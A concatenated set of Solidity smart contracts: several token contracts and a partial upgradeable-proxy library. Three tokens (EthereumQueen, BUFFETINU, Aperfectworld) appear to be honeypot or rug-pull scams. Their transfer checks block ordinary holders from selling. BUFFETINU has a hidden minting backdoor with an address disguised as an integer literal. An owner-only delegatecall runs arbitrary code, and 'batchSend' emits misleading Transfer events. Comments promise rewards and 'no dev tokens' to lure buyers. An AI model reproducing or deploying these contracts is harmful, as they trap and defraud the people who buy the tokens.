_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract EthereumQueen {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/*
https://twitter.com/btc_archive/status/1402597169283076102?s=21
Buffet was created for the alphas that understand the power of a fair equal community.
No discrimination of where you come from or what colour of fur you have, we all come from
different walks of life but we are all equal! This token will give everyone a fair chance to get their paws on some Alpha!
AIR LAUNCH
NO PRE SALE
NO DEV TOKENS
NO BOTS
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BUFFETINU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2020-11-1
*/
/**
* A perfect world
* Initial total 1000
* 24-hour lockup
* The maximum bonus is up to 20ETH
*/
/**
* Loyalty Award: 2ETH
* The first person who purchases more than 1ETH in a single purchase will receive this reward
*/
/**
* Currency ranking reward: 13ETH
* The first prize: 6ETH + 10% prize pool
* Second place reward: 3 ETH + 5% prize pool
* Third place reward: 1 ETH + 2% prize pool
* Fourth to tenth place: reward 0.5ETH
*/
/**
* Lucky reward
* 10 random draws, each will get 0.5ETH
*/
/**
* Reward distribution time: within 24 hours
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Aperfectworld {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal;
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
